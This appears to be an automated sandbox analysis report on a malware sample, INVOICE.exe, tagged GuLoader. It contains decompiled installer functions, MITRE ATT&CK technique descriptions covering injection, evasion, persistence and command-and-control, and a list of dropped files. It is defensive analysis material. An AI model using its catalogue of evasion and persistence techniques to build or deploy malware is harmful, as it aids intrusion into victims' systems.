Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
Instruction ID: 3364d2369d767f53e7c05e99e54cbc9c067443d5da9c9f227d7c3a258cba7bb7
Opcode Fuzzy Hash: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
Instruction Fuzzy Hash: A9F08270702A20AFC2316F50FE4998B7F68FB44B56741447AF446B15ACCB380DA2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405513 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405513(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x42d254 != _t16) {
							_push(_t16);
							_push(6);
							 *0x42d254 = _t16;
							E00404ED4();
						}
						L11:
						return CallWindowProcW( *0x42d25c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404E54(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004044E5(0x413);
				return 0;
			}

0x00405517
0x00405521
0x0040553d
0x0040555f
0x00405562
0x00405568
0x00405572
0x00405573
0x00405575
0x0040557b
0x0040557b
0x00405585
0x00000000
0x00405593
0x0040554a
0x00405582
0x00405582
0x00000000
0x00405582
0x00405556
0x00405558
0x00000000
0x00405558
0x00405527
0x00000000
0x00000000
0x0040552e
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405542
CallWindowProcW.USER32(?,?,?,?), ref: 00405593

Part of subcall function 004044E5: SendMessageW.USER32(000303F6,00000000,00000000,00000000), ref: 004044F7

Strings

, xrefs: 00405523

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
Instruction ID: 904a7c61355239921aaa7855b64c86422fca6e8886f64d9e6fcbc6a993ea73ec
Opcode Fuzzy Hash: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
Instruction Fuzzy Hash: F3017CB1100608BFDF209F11DD80AAB3B27EB84754F50453AFA01762D5D77A8E92DA69

Uniqueness

Uniqueness Score: -1.00%

Function 0040640B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040640B(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004063AA(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406419
0x0040641b
0x00406433
0x00406438
0x0040643d
0x0040647b
0x0040647b
0x0040643f
0x00406451
0x0040645c
0x00406462
0x0040646d
0x00000000
0x00000000
0x0040646d
0x00406481

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000000,?,00000000,?,?,Call,?,?,00406672,80000002), ref: 00406451
RegCloseKey.ADVAPI32(?,?,00406672,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll), ref: 0040645C

Strings

Call, xrefs: 00406412

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: a598e195228f1036644e08b1753da052d1713cd74bd9ea8ab147b12b545f69e3
Instruction ID: a8d415a3dc4e4479eaaa65942f717852bb8bd3539c12dad3b2e52d491ce509ba
Opcode Fuzzy Hash: a598e195228f1036644e08b1753da052d1713cd74bd9ea8ab147b12b545f69e3
Instruction Fuzzy Hash: FB017C72510209AADF21CF51CC09EDB3BB8FB54364F01803AFD5AA6190D738D968DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403B57 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B57() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x42b22c;
				_t3 = E00403B3C(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x42b22c =  *0x42b22c & 0x00000000;
				return _t3;
			}

0x00403b58
0x00403b60
0x00403b67
0x00403b6a
0x00403b6a
0x00403b6c
0x00403b71
0x00403b78
0x00403b7e
0x00403b82
0x00403b83
0x00403b8b

APIs

FreeLibrary.KERNEL32(?,77253420,00000000,C:\Users\user\AppData\Local\Temp\,00403B2F,00403A5E,?), ref: 00403B71
GlobalFree.KERNEL32(?), ref: 00403B78

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B57

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction ID: 19c5699a9bb8b3376c06320bd1355d3f7d45777e2bc9a3354ca833756e7661a4
Opcode Fuzzy Hash: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction Fuzzy Hash: 40E0EC3290212097C7615F55FE08B6E7B78AF49B26F05056AE884BB2628B746D428BDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405F92 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F92(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405fa2
0x00405fa4
0x00405fa7
0x00405fd3
0x00405fac
0x00405fb5
0x00405fba
0x00405fc5
0x00405fc8
0x00405fe4
0x00405fca
0x00405fd1
0x00000000
0x00405fd1
0x00405fdd
0x00405fe1
0x00405fe1
0x00405fdb
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FBA
CharNextA.USER32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCB
lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: bd09551308ad338638525116890fdadd4ab1f465f5503068af61de479685a4e4
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: 34F0C231604418FFC7029BA5CD0099EBBA8EF06250B2140AAF840FB210D678DE019BA9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report INVOICE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Signatures

Memory Dumps

Sigma Signatures

AV Detection

E-Banking Fraud

Stealing of Sensitive Information

Remote Access Functionality

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Arteriagra2.Syr

C:\Users\user\AppData\Local\Temp\BCGCBProRes_it-IT.nls

C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll

C:\Users\user\AppData\Local\Temp\System.Threading.dll

C:\Users\user\AppData\Local\Temp\alnicoes.til

C:\Users\user\AppData\Local\Temp\directory\filename.exe

C:\Users\user\AppData\Local\Temp\drive-harddisk-usb-symbolic.svg

C:\Users\user\AppData\Local\Temp\go-bottom-symbolic.svg

C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll

C:\Users\user\AppData\Local\Temp\updater.ini

C:\Users\user\AppData\Local\Temp\user-trash-symbolic.symbolic.png

Windows Analysis Report
INVOICE.exe

Function 0040352D Relevance: 81.0, APIs: 33, Strings: 13, Instructions: 450
stringfilecomCOMMON

Function 004056DE Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405C49 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 02B663E8 Relevance: 7.9, APIs: 2, Strings: 2, Instructions: 929
memorynativeCOMMON

Function 00406873 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Function 00403F9A Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403BEC Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215
stringregistryCOMMON

Function 0040307D Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 181
memoryCOMMON

Function 004032B4 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 166
COMMON

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre